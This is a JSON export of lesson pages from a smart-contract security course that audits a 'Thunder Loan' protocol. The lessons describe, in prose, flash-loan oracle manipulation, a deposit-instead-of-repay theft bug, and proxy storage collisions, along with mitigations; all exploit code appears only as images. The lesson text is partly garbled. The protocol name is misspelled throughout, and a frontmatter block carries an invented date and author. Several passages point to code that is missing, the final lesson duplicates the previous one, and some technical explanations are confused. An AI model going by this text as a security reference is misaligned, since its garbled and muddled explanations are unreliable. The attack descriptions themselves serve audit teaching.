become.\n\nSo, roll up your sleeves as we uncover a grave inconsistency embedded in the depths of this code.\n\n![](https://cdn.videotap.com/ILyKyCIUBPHesdezqO7A-34.63.png)\n\n## The Hidden Dragon: Oracle Manipulation Issues with AMM\n\nAs we delve deeper, there's a staggering hiccup with using the reserves of a Decentralized Exchange (DEX) or an Automated Market Maker (AMM), like TSwap. Did you know the reserves' modification could drastically alter the price, thus jeopardizing the entire protocol?\n\nConsider, for instance,If you could alter the reserves in TSwap, it, in turn, alters the price and disrupts the entire protocol.\n\nThis brings us to our next cornerstone - understanding Oracle Manipulation, to determine any potential malfunctions leading to a breach.\n\n![](https://cdn.videotap.com/Dq8ETmltBDcUUQFSFh4o-56.67.png)\n\n## Oracle Manipulation: Spotting the #1 Attack Vector of 2023\n\nThere's a critical question to address here: What's the likelihood of a breakdown? And if it exists, can it expose the system to potential hacks?\n\nIf you're in tune with the trends, then you most certainly know that Price Oracle Manipulation topped the list of attack vectors for the first half of 2023. It's essential to have a clear understanding of how it operates, how to steer clear of it and, most importantly, spotting this concern.\n\nUnfortunately, the problem is commonplace in competitive audits, private audits, and also manifests \"in the wild.\"\n\nLet's delve into this vast sea of knowledge, which may seem intimidating for beginners but indeed holds the key to amending this widespread issue.\n\n![](https://cdn.videotap.com/DFzBDvQKrlAS9RSlOvGX-75.56.png)\n\n## In Conclusion\n\nSo let's start snowballing now and romp through this course! Debugging and solving these issues will give you a giddy sense of accomplishment. More importantly, learning to identify these potential landmines can equip you to deal with an array of daunting challenges in your coding journey. Happy Debugging!\n", + "updates": [] + }, + { + "id": "ec5a245b-0240-4ebe-8389-35259b0e7af7", + "number": 39, + "title": "Oracle Manipulation: Minimized", + "slug": "exploit-oracle-manipulation-minimized", + "folderName": "39-exploit-oracle-manipulation-minimized", + "description": "", + "duration": 10, + "videoUrl": "oroW__t1JMg", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/39-exploit-oracle-manipulation-minimized/+page.md", + "markdownContent": "---\ntitle: Exploit - Oracle Manipulation - Minimized\n---\n\n# Utilizing SC Exploits for Oracle Manipulations in Blockchain Protocols\n\nIn the whirlwind universe of blockchain protocols, there lies a fascinating yet notoriously common class of vulnerabilities that all budding developers should be aware of - Oracle Manipulations. The term \"Oracle\" refers to an entity that helps blockchain protocols interact with the outside world by providing them with real-world data. In this article, we'll delve deep into the world of SC (Smart Contract) exploits, examining a particular vulnerability concerning Oracle manipulations and how it can be leveraged for profit.\n\n![](https://cdn.videotap.com/7l5XeduNYadMolRpvY1p-27.77.png)\n\n## A Basic Understanding of Flash Loans\n\nFirst things first, let's recap an elemental concept - Flash loans. To keep it simple, flash loans are loans that allow you to borrow assets without any collateral, with the condition that you return them within a single transaction.\n\nHere's a basic formula for a flash loan:\n\n1. An entity calls for a flash loan.\n2. They get the loaned asset (say, a particular cryptocurrency).\n3. They carry out an operation or multiple operations using the asset.\n4. Finally, they return the money within the same transaction.\n\n## SC Exploits and Oracle Manipulations - How Does It Happen?\n\nLet's walk through an example of how these exploit works. Consider a common situation where we have a decentralized exchange, TSwap for instance. Within TSwap, you have two liquidity pools, as in all traditional DEXs. Let's say these pools hold 100 USD Coin (USDC) and 10 Wrapped Ether (WETH) respectively.\n\nGiven the current holdings, the ratio of USDC to WETH in this pool is 10:1. This means that you could theoretically get 1 WETH for 10 USDC, ignoring slippage and other factors.\n\nSo, what happens if our savvy exploiter decides to take a flash loan?\n\nLet's say the entity takes out a flash loan of 1,000 USDC. Instead of using this for the usual operations, they decide to swap it onto TSwap, pushing its USDC reserves up to 1,100. This drastically changes the ratio in the pool, making WETH significantly more expensive in terms of USDC.\n\nThe trick here, however, is that all of this is happening within the timeline of a single transaction. To an outside observer (including other smart contracts), it looks like for a brief moment, the price of WETH has soared.\n\n## The Consequences of Price Manipulation\n\nIf another protocol that uses Tswap's price feed to determine the price of certain assets, it would momentarily read this wrong price. Assume a protocol, which we call Protocol 'Whoops', mints NFTs at a rate pegged to the price of WETH. The hacker can temporarily buy these NFTs for cheap, sell them for a profit, and then pay back the flash loan - all in one transaction!\n\nWe can see how exploiting oracle manipulation can be quite a lucrative business - but only for those equipped with in-depth knowledge of blockchain, smart contracts, and DeFi protocols.\n\n## The Thunderloan Example\n\nConsider the Thunderloan contract, which is a perfect representation of such exploits. It uses a TSwap-like decentralized exchange as its price oracle, creating a significant risk as flash loans can manipulate the price feed quite conveniently. Thus, a savvy exploiter could utilize a flash loan from Thunderloan to manipulate Thunderloan itself.\n\nYou can explore further on oracle manipulation exploits by checking out the SC exploits in the \"minimized\" section on Github. It includes a detailed example of Oracle manipulation and how it played out, including everything needed for you to try and test it yourself in a local environment.\n\n## Notable Incidents\n\nOne notable case that stands out in history is the Cream Finance attack that took place in 2021. The attacker exploited a pricing vulnerability by lending and borrowing flash-loaned funds between two addresses, wreaking havoc on Cream's financial assets.\n\nThe Cream Finance attack is not unique; several other significant and minor hacks have been carried out over the years that involve similar exploit methods. Therefore, be it as a developer on the lookout for bugs in your protocols or a crypto enthusiast looking for loopholes, understanding oracle manipulation attacks should be in your toolkit.\n\n## Conclusion\n\nOracle manipulation is an intriguing and unfortunately prevalent attack vector within blockchain protocols. It is crucial as developers, stakeholders, and enthusiasts to understand such vulnerabilities to build, invest, and operate more securely within the crypto space.\n", + "updates": [] + }, + { + "id": "6a890d64-3b94-4fba-907a-935065ff8efd", + "number": 40, + "title": "Oracle Manipulation: ThunderLoan Poc", + "slug": "exploit-oracle-manipulation-thunderloan-poc", + "folderName": "40-exploit-oracle-manipulation-thunderloan-poc", + "description": "", + "duration": 29, + "videoUrl": "DyChU8-c6oU", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/40-exploit-oracle-manipulation-thunderloan-poc/+page.md", + "markdownContent": "---\ntitle: Exploit - Oracle Manipulation - Thunder Loan PoC\n---\n\n# Exploiting Oracles with Flash Loans\n\nOracles play a critical role in blockchain systems by providing external data to smart contracts. However, improperly designed oracles can lead to devastating oracle manipulation attacks. In this post, we will demonstrate an advanced oracle manipulation attack using flash loans.\n\n## Overview\n\n![](https://cdn.videotap.com/kM0YOBTs7t8WreMLhr2A-49.5.png)We recently audited a lending protocol called ThunderLoan that relies on a DEX called TSWAP for price feeds. By exploiting TSWAP with flash loans, we will manipulate prices and extract cheaper flash loans.\n\nThis is an extremely advanced attack that combines:\n\n- Flash loans\n- Oracle manipulation\n- Arbitrage bots\n- DEX price manipulation\n\n## Exploiting the Oracle\n\nTo manipulate the price oracle, we will:\n\n1. Take out a flash loan of 50 **tokenA**\n2. Use the loan to manipulate TSWAP reserves\n3. Take out another flash loan for a hugely reduced fee\n\nWhen `maliciousFlashLoan` is called:\n\n1. The first 50 token loan dumps onto TSWAP, manipulating prices\n2. The second 50 token loan has a massively reduced fee due to the price change\n\n### Full Exploit Code\n\n![](https://cdn.videotap.com/xK2fynd4EnHBvr8emyyD-1501.5.png)\n\nIt's very complex but essentially:\n\n1. Borrows 50 tokens\n2. Swaps them on TSWAP, nuking the price\n3. Borrows another 50 tokens for cheaper\n4. Checks the fee is reduced\n5. Repays everything\n\nRunning the code proves fees are drastically reduced by the attack.\n\n## Impact\n\nThis attack allows attackers to take flash loans for extremely cheap. They circumvent the protocol's fees and essentially get free money.\n\nWe classify this as a medium severity issue. It's unlikely to be exploited in the wild due to complexity, but if it was, it could seriously compromise sustainability.\n\n## Recommended Mitigation\n\nThe root cause is using on-chain DEX reserves to price assets. This is easily manipulated.\n\nInstead, we recommend decentralized oracle solutions like:\n\n- Chainlink Price Feeds\n- Uniswap TWAP\n\nThese are robust against manipulation, ensuring accurate prices even during attacks.\n\nWe hope this post has provided valuable insight into advanced oracle manipulation attacks in blockchain systems. As protocols expand in complexity, deeply understanding these attacks will prove invaluable to engineers and auditors alike.\n", + "updates": [] + }, + { + "id": "14bf10cf-959a-4040-862f-e91241459691", + "number": 41, + "title": "Oracle Manipulation: Recap", + "slug": "oracle-manipulation-recap", + "folderName": "41-oracle-manipulation-recap", + "description": "", + "duration": 3, + "videoUrl": "ag6Gcm6AIkc", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/41-oracle-manipulation-recap/+page.md", + "markdownContent": "---\ntitle: Oracle Manipulation Recap\n---\n\n# Flash Loans: Making Blockchain Arbitrage Accessible\n\nArbitrage, the simultaneous buying and selling of assets in different markets to take advantage of differing prices, has long been an effective strategy for the 'financially fearless' among us. A concept traditionally dominated by the deep-pocketed whales of Wall Street, the decentralised finance (DeFi) world is flipping the field on its head with the application of flash loans.\n\nCan't tell your flash loans from your DeFi? No worries, mate. Let's dive deep into it all and level the arbitrage playing field!\n\n### The Magic of Flash Loans\n\nBut what's a flash loan? A flash loan is a loan that lasts exactly one transaction! Quite an alien concept to anyone versed in traditional finance, this tool is peculiar and unique to the DeFi blockchain realm.\n\n```markdown\n\"It is a loan that lasts exactly one transaction.\"\n```\n\n![](https://cdn.videotap.com/VtEQgP01EvzX42ymoqp1-45.63.png)\n\nWhy so peculiar, you ask? That's because a flash loan smart contract can stipulate 'if you don't pay me back, I will just revert everything that you've done'. Imagine the applications!\n\n### Where the Whales Swim: An Example\n\nThis is where it gets interesting. Major players (whales) deposit large sums of money into protocols that host flash loans. Why? Because every flash loan carries a fee, incentivising whales to keep their money safely in the protocol. But how does this tie into arbitrage, and why should we care?\n\nWell, let's scope out a practical application of flash loans in our arbitrage world.\n\nImagine two different cryptocurrency exchanges present a price discrepancy for the same asset. If you had the funds, you could buy from one exchange at a lower price and sell on the other at a higher price, making a neat profit. This requires substantial initial investment to explore, which is where flash loans change the game completely.\n\nFlash loans democratize the arbitrage domain, allowing even the smallest fish in the sea to swim amongst the whales. By providing the funds for the duration of one transaction, users can perform arbitrages without owning the requisite amount at the outset!\n\n### Flash Loans and DeFi: A New Era of Financial Democracy\n\nIn a regular finance landscape, opportunities for arbitrage are available exclusively to the wealthy class. The DeFi landscape transforms the traditional constructs of finance by opening these virtual doors to anyone and everyone. Flash loans are an empowering tool for the smaller fish to leapfrog the barriers of entry and start swimming in the arbitrage ocean.\n\n```markdown\n\"DeFi levels the playing field and allows anyone to take advantage of these opportunities.\"\n```\n\n### Life in the Flash Lane: From Arbitrage to Collapse\n\nAnother fascinating interaction that can occur between flash loans and DeFi protocols involves ‘price manipulation’. Here, users leverage flash loans to manipulate the price on a decentralized exchange (DEX), resulting in opportunities for further trading advantages.\n\n![](https://cdn.videotap.com/0dhGroKi4k72ZIMv0UAb-130.37.png)\n\nThis tactic is illustrated in a test we conducted using an imaginary 'Thunder Loans' protocol. We set it up, requested a flash loan, and manipulated the reserve ratios of the DEX, causing a significant change in price. This setup enabled us to borrow another flash loan, this time with a substantially lower fee due to the manipulated rates.\n\nThis might sound somewhat unscrupulous, as the liquidity providers (the whales) lose out, yet the strategy worked. We completed all the necessary moves, hit the 'Thunderloan flash loan' button, manipulated the contract code, ensured the change in reserves, and witnessed the price drop from a 1:1 ratio down to a 1:2 ratio.\n\nFinally, we executed another flash loan, leaving us with a drastically cheaper fee due to our manipulations with the initial flash loan. We then repaid this loan, leading us into an intriguing question: What if we didn't need to repay?\n\n![](https://cdn.videotap.com/CTDan8syFjGyGDy0iJ02-156.44.png)\n\nThis was quite a jog around the DeFi neighborhood and our thrilling exploration of flash loans. Now, take a breather, grab some water or coffee, and let’s gear up for the next leg of this captivating journey in the fantastic world of blockchain technology!\n\nRemember, with DeFi and flash loans, the future of finance is truly in your hands.\n", + "updates": [] + }, + { + "id": "ea331fa9-cbc2-4a7c-b208-6ef48440986d", + "number": 42, + "title": "Exploit: Deposit Instead Of Repay", + "slug": "exploit-deposit-instead-of-repay", + "folderName": "42-exploit-deposit-instead-of-repay", + "description": "", + "duration": 17, + "videoUrl": "a_yZVutniag", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/42-exploit-deposit-instead-of-repay/+page.md", + "markdownContent": "---\ntitle: Exploit - Deposit Instead of Repay\n---\n\n---\n\n## title: \"Uncovering Unexpected Bugs in Defi Smart Contracts with Thunderlone\"date: \"2021-07-18\"author: \"DeFi Geek\"\n\nWelcome back fellow DeFi enthusiasts! Get ready as we dive into our awesome bug-hunting exercise featuring - Thunderlone and Thunderlone upgraded.\n\nIn this article, I am excited to reveal not just one, but two juicy bugs for you today. One is in the original Thunderlone smart contract, and the other one is lurking in the upgraded version of Thunderlone, which we'll dissect later on.\n\nBear with me as we uncover these bugs and provide strategies to squish them.\n\n## Unearthing Bugs in DeFi Smart Contracts\n\nBefore delving into the bugs, let me remind you - you're doing great. If you're new to DeFi, this section might be a little tough, but hang in there, we're almost at the finish line.\n\n### Bug Hunting Begins!\n\nWith our newfound expertise in flash loans, we've managed to uncover some interesting behaviors and potential oversights.\n\nOur journey began with a simple question: _What other ways exist to get money into this contract, outside of repaying or sending assets directly, that can potentially pull it out later?_\n\nHow did we answer this? For this, we ran a quick scan of Thunderlone's methods.\n\nThis gave us a comprehensive overview of all the methods that Thunderlone has, and their respective function signatures. As we analyzed this information, one function jumped out - _deposit_.\n\n### The \"Deposit\" Function – A New Way to Leverage the System?\n\nUntil now, deposit was mainly used by whales to put their tokens in and redeem them later. But we started wondering, what if the system allowed us to deposit tokens and then redeem them without calling repay?\n\nSounds like a twist in the plot, doesn't it? This interesting loophole sparked our curiosity, leading us to write a proof of code.\n\n### Writing Test to Verify The Bug\n\nOur next step was to create a test scenario. Our test involved initiating a flash loan, after which the user would need to deposit a certain amount.\n\n```markdown\nTest scenario:1. Start loan2. Deposit assets3. Redeem money4. Conclude loan\n```\n\n### Test Results – Validation of the Bug\n\nWhat did we find? We found a loophole – stealing money. You heard right! It turns out that our users can manipulate the system by initiating a flash loan and then merely depositing it. Next, they can redeem all the money, causing a huge loss for our liquidity providers.\n\nCheck it out; the test along with the results of this big reveal is available at `test_number1` on our repository.\n\n## Thunderlone Upgraded - Examination and Exploration\n\nWith Thunderlone dissected, it was time to aim our magnifying lens on Thunderlone Upgraded. Remember, Thunderlone Upgraded was supposed to be the improved version. Did it hold up to expectations? Let's find out.\n\nSince this is an upgradable contract, we had two paths to explore:\n\n1. Starting from scratch - study the code line by line as we did with Thunderlone.\n2. Use **diff** - a command used to spot the differences between two files.\n\nIn this case, we chose the **diff** command as the more efficient approach.\n\nTo see the differences between the two files, we use the diff command:\n\nThanks to **diff**, we got a comprehensive report sifting through lines of codes and comments. This method helped us identify that they planned on swapping the storage spots of `sFlash Loan fee` which would lead to a disastrous storage collision issue!\n\n### Introducing Storage Collision Attack\n\nThis brings us to our second bug - a _storage collision attack_.\n\nTake a moment to imagine a world where a programmer decided to make a quick swap in the storage variables. Initially, you may think it's an innocent programming overlook, right? However, it's an altering decision that will wreak havoc on the entire storage structure, leading to a storage collision attack.\n\nIn short, you can't just swap the storage spots!\n\nIn the original Thunder Loan, `sFlashLoanFee` is present at slot 3, but in the upgraded version, it's present at slot 2. This shift increases the chances of a fatal storage collision. As such, the swap would directly affect the asset owners, hence, leading us down the path of financial discrepancy.\n\n---\n\nAs a final thought, let me just remind you - no matter how minor the change in the code appears, it can have major impacts on your contract's functionality. In this case, this seemingly insignificant storage variable swap has the potential to lead us down a path of storage collision, causing a significant catastrophe.\n\nHappy bug hunting!Stay Safe. Stay Decentralized!\n\nThat's all for now, fellow developers and DeFi enthusiasts. See you in the next venture, decoding, dissecting, and debugging DeFi contracts.\n\nUntil then - keep defying, keep decoding!\n", + "updates": [] + }, + { + "id": "4ece65ad-a1e7-405e-9d6c-8f5aaa7f2e45", + "number": 43, + "title": "Exploit: Storage Collision", + "slug": "exploit-storage-collision-storage-refresher", + "folderName": "43-exploit-storage-collision-storage-refresher", + "description": "", + "duration": 3, + "videoUrl": "U2P5sHVWsjQ", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/43-exploit-storage-collision-storage-refresher/+page.md", + "markdownContent": "---\ntitle: Exploit - Storage Collision - Storage Refresher\n---\n\n# Understanding the Mechanism of Ethereum Smart Contract Storage.\n\nThe vast and innovative landscape of Ethereum smart contracts demands a comprehensive understanding of the subtle ways in which these self-executing bits of code work. In this article, we aim to unpack the operational mechanism of smart contract storage, drawing focus on its organization, types of variables, and implications of upgrades. Without further ado, let's dive straight into understanding contract storage.\n\n## Variable Placement in Storage\n\nStorage, in essence, can be understood as a giant array containing variables. Sequential variables get chronologically placed into this array, with each variable occupying a unique storage slot.\n\nFor instance, let's consider a simple variable - `int256 favoriteNumber`. As a first variable, it's placed into `storage slot 0`. If we add another variable, such as a boolean `bool someValue`, it follows suit and gets stacked into `storage slot 1`.\n\n![](https://cdn.videotap.com/fqXHyZ8Wd1AmcWeZV9jE-24.png)\n\n### Variable Packing\n\nWhile this description captures the essence of storage placement, there's an added layer of complexity; Solidity does some interesting stuff like \"packing variables\". However, that's a topic for another day. Rest assured, this bit of information won't interfere with the fundamental understanding of storage.\n\n## Arrays and Mappings in Storage\n\nStorage gets slightly trickier to comprehend when dealing with arrays and mappings. The organization of an array is a tad bit complicated - the length of the array gets positioned in a slot analogous to a regular variable. The actual elements of the array, however, find their home in a hash of the storage slot of the array length.\n\n![](https://cdn.videotap.com/JMGwpAcocpS7uwDvgxPP-45.png)\n\n## The Storage Exceptions: Constants and Function Variables\n\nTwo types of variables are exempted from having storage slots - constants and function variables.\n\n- **Constants**: Constant variables do not warrant storage slots as they are hard-coded directly into the bytecode. Consequently, we don't need to worry about constant variables while delving into storage.\n\n- **Function Variables**: Such variables—often initialized during the execution of a function— are temporary and exist only for the duration of the function call. Hence, they are stored in memory space, not in storage slots.\n\n## Storage Slots Upon Contract Upgrade\n\nA key question arises - what happens to the storage slots when a contract is upgraded? Well, the order of variables in our upgraded contract is assigned new storage slots, but it also inherits the previous order of variables.\n\n> \"We've just totally messed up storage by upgrading our contract to some new nonsense.\"\n\nLet's say the boolean variable `someBool` was initially in `storage slot 1`, but upon contract upgrade, the variable shifts to `storage slot 2`. This transition recapsulates the flexibility, albeit complexity, of the Ethereum storage structure.\n\n![](https://cdn.videotap.com/UvEwzYfKpxND8OGan5AW-114.png)\n\nIn conclusion, understanding the storage behavior in Ethereum smart contracts is fundamental for anyone trying to navigate the rich ecosystem. The mappings and order change can surely create some confusion, but with time and practice, managing storage slots becomes second nature.\n", + "updates": [] + }, + { + "id": "c0fae74b-3866-49ff-98b8-42cd7c0ae3ce", + "number": 44, + "title": "Storage Collision: Diagram", + "slug": "exploit-storage-collision-diagram", + "folderName": "44-exploit-storage-collision-diagram", + "description": "", + "duration": 2, + "videoUrl": "E-_nrC6pqR4", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/44-exploit-storage-collision-diagram/+page.md", + "markdownContent": "---\ntitle: Exploit - Storage Collision - Diagram\n---\n\n# Understanding Ethereum Smart Contract Proxies and Upgrades\n\nIn the exciting world of Ethereum smart contracts, the design pattern of using proxies for contract upgrades provides an effective solution to the otherwise immutable nature of contracts. However, this approach is not devoid of complexities, and amateur developers may often encounter problems with storage slots during contract upgrades. Let's delve into an illustrative example to understand better how this works.\n\n## Fundamentals of Proxy Interaction\n\nTo kick off, let's take a closer look at the basic principles of proxy interaction with smart contracts.\n\nTo put it simply, imagine we have an implementation contract. When a user executes a function, say `setValue(x)`, the call initially goes to the proxy. The proxy is programmed to look at the implementation contract for executing the function. For example, if our contract has an instruction to set its value to `x`, the logic gets sent to the proxy.\n\nOnce inside, the proxy modifies its internal state, storing the new value at a defined storage location. Typically, the first storage slot (slot 0) is used for this purpose.\n\nThis gives us a simplistic view of how the proxy pattern helps align storage with contract implementations.\n\n![](https://cdn.videotap.com/WUQkx9srA6tjA8Yo5lRL-42.36.png)\n\n## The Upgrade Process: What Happens within the Proxy\n\nNow let's see what happens when we decide to upgrade our contract.\n\nIn an upgrade scenario, the proxy points from implementation contract `A` to a new implementation contract `B`. However, the storage inside the proxy remains intact. It will simply start referring to the new contract to carry out its logic.\n\n> Note: The essence of the upgrade process is that the proxy's storage does not get changed or migrated. It just adopts a new source of instruction.\n\n![](https://cdn.videotap.com/gKwLO8tKUQsQFgdhAmZB-72.62.png)\n\n## Potential Issues with Storage Slot Misalignment\n\nThe seamless continuation of storage masks a potential pitfall – storage slot misalignment. If the new implementation isn't mindful of how the storage was structured in the previous implementation, chaos can erupt!\n\nLet's continue our example to see how. Our user calls `setValue(10)` which now points to logic `B`. If `B` has instructions that alter the storage structure like,\n\nIn this situation, `value` gets stored in slot 1 since `initialized` has taken up slot 0. Now, proxy's storage looks completely different with value 5 still in slot 0 and the new value of 10 in slot 1.\n\nStorage slot misalignment might result in overriding storage slots, uninitialized variables, and other issues leading to potential contract vulnerabilities.\n\n![](https://cdn.videotap.com/nvkgWHqUU232F6YtZgQD-111.95.png)\n\n## Diving Deeper with Remix\n\nTo see this in action and further understand, we can use Ethereum's browser-based IDE, [Remix](https://remix.ethereum.org/). In the follow-up post, we'll walk through an immersive hands-on example using Remix to intricately explore the subtleties of contract upgrades and proxy interactions. Stay tuned!\n", + "updates": [] + }, + { + "id": "3bc7ad4f-9c3f-441c-921e-a3af7b50f5a9", + "number": 45, + "title": "Storage Collision: Remix Examplee", + "slug": "exploit-storage-collision-remix-examplee", + "folderName": "45-exploit-storage-collision-remix-examplee", + "description": "", + "duration": 4, + "videoUrl": "N6OeYLKhMCU", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/45-exploit-storage-collision-remix-examplee/+page.md", + "markdownContent": "---\ntitle: Exploit - Storage Collision - Remix Example\n---\n\n# Understanding the Storage Collision in Ethereum Smart Contracts\n\nIn this blog post, we're going to dive deep into understanding one of the common issues Ethereum smart contract developers encounter: the storage collision. In this exploration, we'll utilize Storage Collision, a contract we've sketched in Remix — an open-source tool developed by the Ethereum community to help you build smart contracts.\n\n## Introduction to Storage Collision Contract\n\nScroll down in the remix interface and you'll come across the Storage Collision contract. Opening this contract, there are quite a number of lines to dissect. You'll see a special type of contract called `proxy`. Its pivotal role is to call the `set implementation` function.\n\nThere are also helper functions in this contract whose primary task is to read data from the contract. For example, the `readStorage` function checks and fetches the value stored in a specific storage slot.\n\n## Implementation A and B and their peculiarities\n\nThe contract contains two distinct implementations labeled as `implementation A` and `implementation B`, mirroring what was shown in the initial diagram.\n\n- **Implementation A** has `value` located at storage slot zero.\n- **Implementation B** is a bit more complex with `initialized` at storage slot zero. By default, `initialized` should be `false`. But if there's a value in the corresponding slot, `initialized` becomes `true`.\n\n## Deployment and Compilation\n\nNext on the stop, is to compile and deploy these contracts: `Implementation A`, `Implementation B`, and `Storage Collision Proxy`. It's important to note that the `Storage Collision Proxy` is first associated with the contract address for `implementation A`.\n\nNow, we've set our Proxy to point to `implementation A` and we can interact with it accordingly.\n\n## Interacting with Implementation A\n\nTo do this, copy the Proxy address into `implementation A`, allowing us to work directly with `implementation A`.\n\nWhen we check the `value`, it reads '0' because we haven't assigned any value yet. But when we assign 15 to the `value`, the `value` in `implementation A` changes to 15.\n\nIt's worth noting that in solidity, anything aside from 0 is considered `true`. Hence, the `bool public initialize` in `implementation B` is expected to default to `false`. But let's see if that's the case.\n\n## Transition to Implementation B and the Twist\n\nSwitching to `Implementation B`, we change the implementation address in our `Storage Collision Proxy` and then inspect the `value`.\n\nSurprisingly, our `value` reads zero - this is because we have upgraded the contract. However, we can imitate the previous process with `implementation A` and interact with `implementation B`.\n\nWhen we call `initialized`, contrary to the default being `false`, it returns `true`. This happens because within the proxy, the `readStorage()` function is indicating that there's a '15' at storage slot zero.\n\nSince `initialized` is coupled to storage slot zero, the non-zero value makes it return `true`.\n\nThe next process is to set the `value` of `implementation B` to a new number, which affects the `storage slot one`.\n\nThe consequence of this action reveals a **storage collision**.\n\n> In essence, the 'storage collision' is a situation whereby values in the storage slots overlap as a result of an upgrade, causing unexpected changes in the system.\n\n## In Conclusion\n\nIn Ethereum smart contracts, collision issues are something we ought to be wary about. As we've noticed, our upgraded contract seems to be colliding due to these issues, causing unintended changes in the system. Careful architecture of contracts and more thorough analysis are needed to mitigate this risk. As always, understanding the underpinnings of the system and how actions interact with it is key to a successful deployment and operation of your Ethereum smart contracts.\n", + "updates": [] + }, + { + "id": "d36939fe-b02e-45d5-9d22-4eba1bf60575", + "number": 46, + "title": "Storage Collision: Poc", + "slug": "exploit-storage-collision-poc", + "folderName": "46-exploit-storage-collision-poc", + "description": "", + "duration": 3, + "videoUrl": "LaYQ6-SEJr8", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/46-exploit-storage-collision-poc/+page.md", + "markdownContent": "---\ntitle: Exploit - Storage Collision - PoC\n---\n\n# Code Proving 101: An In-Depth Walkthrough in Upgrading Solidity Contracts\n\nWelcome to our walkthrough of writing a proof-of-code for Solidity contracts. Here, we'll be outlining a detailed practice on how you can handle upgrades - an essential part of maintaining and improving smart contracts. The entire process is clear-cut, so don't be shy about getting your hands dirty with code.\n\n### The Test Unit\n\nConveniently, we'll be examining a test unit called Thunderlone, which has an upgrade function we will dissect. Below we will act as the owner of Thunderlone, including deploying a new logic address and making an upgrade proxy call.\n\nAt this point, we fetch the fee before making any changes and state a new `ThunderloneUpgraded`.\n\n![](https://cdn.videotap.com/KgYyc5GgyHgGV9f1xeiW-44.57.png)\n\nIntriguing right? But, not so fast! We’ve missed something vital. Just before diving to that, we ought to import the upgraded protocol at the top of the test page. Here, `ThunderloneUpgraded.sol` is the Solidity script that defines our `ThunderloneUpgraded` contract.\n\nWith that code added, we now have access to the `ThunderloneUpgraded` contract we instantiated earlier.\n\n### Handling the Upgrade\n\nThe next crucial part involves calling Thunderlone's upgrade function.\n\nFor our purpose, there's no data to call, hence the \"0x\". This function upgrades the proxy to the upgraded address, nifty right?\n\n### Assertions\n\nOnce we log the fees, we come to our final part - asserting that the `feeBeforeUpgrade` indeed changed from `feeAfterUpgrade`.\n\nThis simple test will tell if there is a discrepancy in the fees, which would mean our upgrade tinkered with more than it should have, causing storage collisions.\n\n### Running the Tests\n\nWe are now ready to run this forge test. It's pretty scary how such small changes can end up making mega alterations, right?\n\nKeep crafting your test units as you explore the vast world of Solidity. Don't be too hard on yourself; it takes a few trial and errors before you become a pro! And remember, learning is a never-ending journey. :)\n\nHappy testing!\n", + "updates": [] + }, + { + "id": "58af1688-efa6-4821-86af-6adce089437c", + "number": 47, + "title": "Reporting: Storage Collision", + "slug": "exploit-storage-collision-write-up", + "folderName": "47-exploit-storage-collision-write-up", + "description": "", + "duration": 7, + "videoUrl": "nUr89KqK_kA", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/47-exploit-storage-collision-write-up/+page.md", + "markdownContent": "---\ntitle: Exploit - Storage Collision - Write Up\n---\n\n# Debugging and Improving Your Solidity Code with Thunder Loan\n\nIn this blog post, we will take a closer look at how to test, debug and improve your Solidity code, using our Thunder Loan example. Solidity, for those who are less familiar, is a statically typed, contract-oriented, high-level language whose syntax is similar to that of JavaScript and it is designed to target the Ethereum Virtual Machine.\n\nLet's dive right into it.\n\n## Starting with the Git Checkout and Stashing Changes\n\nFirst, let's pull up our Thunder Loan test. After reviewing the code, it is advisable to stash your changes. Stashing is a great feature of Git that allows you to take a snapshot of your current changes, store them off to the side on a stack of unfinished changes, and then reapply them later.\n\nAfter stashing, I switch the currently active branch to 'demo' using git checkout command.\n\n## Understanding the Impact and Likelihood of Issues\n\nBefore wrapping things up, it is essential to consider the impact and likelihood of the issue in question.\n\nIn our current setting, the impact is high; primarily because the upgrade could potentially lead to what is referred to as a 'storage collision'; a serious problem whereby addresses of storage variables overlap, causing unexpected behaviours. These could inadvertently skew the fees associated with our Thunder Loan.\n\n![](https://cdn.videotap.com/MJYevuA6WF1Wcqj3AgIR-148.52.png)\n\nThe likelihood of this occurring can be medium to low. However, it tends to lean towards a higher likelihood considering that an upgrade was planned.\n\nThe key here is to understand your protocol's likelihood and impact of the storage collision issues, which is a very common pain-point when it comes to proxy contract upgrades.\n\n## Identifying the Root Cause\n\nA root cause analysis reveals that variable location mix-ups can result in storage collisions. In our Thunder Loan case, the problem arises in the _Flash Loan fee_ and the process of _Flash Loaning_. The severity of this problem means that it could potentially paralyze the entire protocol due to the storage location mismatches.\n\nAn example of wrongly mapped variable storage location is as follows:\n\nWhile for the upgraded contract, `thunderloanupgraded.sol`, the storage layout difference is slightly different:\n\nStorage location inconsistencies not only directly impact your protocol's modification, but they can also freeze up the protocol.\n\n## Potential Mitigations and Recommendations\n\nTo mitigate such an issue, it is recommended to maintain constant variables when removing and introducing storage variables.\n\n![](https://cdn.videotap.com/EsivAEC6dyzbBCAvtsGP-267.33.png)\n\nThis recommendation is based on the understanding that storage layouts are very important to the solidity coding structure – modifying them could lead to unexpected errors.\n\nYou can compare the storage layout difference by running the commands:\n\nIf a storage variable must be removed, leave a blank to avoid messing up the storage slots. Here's what it would look like:\n\n## Wrapping Up\n\nIn this post, we have walked through not just the intricacies of debugging and improving solidity code, but also the complexities that proxy contracts introduce. It's no surprise that some developers see proxies as a necessary evil while others view them as progress in the smart contract sphere.\n\nWhether you side with the 'Bad News Bears' or 'Great Progress' team, we strongly encourage you to share your view in our ongoing community discussion!\n\nAs for our next step with Thunder Loan, that will largely consist of doing the reporting. Stay tuned for more updates in that regard. Happy coding until then!\n", + "updates": [] + }, + { + "id": "0999f95c-f86e-4739-824d-8565169cfe2f", + "number": 48, + "title": "Wrapping Up", + "slug": "wrapping-up", + "folderName": "48-wrapping-up", + "description": "", + "duration": 2, + "videoUrl": "xqD4VeRcAYg", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/48-wrapping-up/+page.md", + "markdownContent": "---\ntitle: Wrapping Up\n---\n\n# Debugging and Improving Your Solidity Code with Thunder Loan\n\nIn this blog post, we will take a closer look at how to test, debug and improve your Solidity code, using our Thunder Loan example. Solidity, for those who are less familiar, is a statically typed, contract-oriented, high-level language whose syntax is similar to that of JavaScript and it is designed to target the Ethereum Virtual 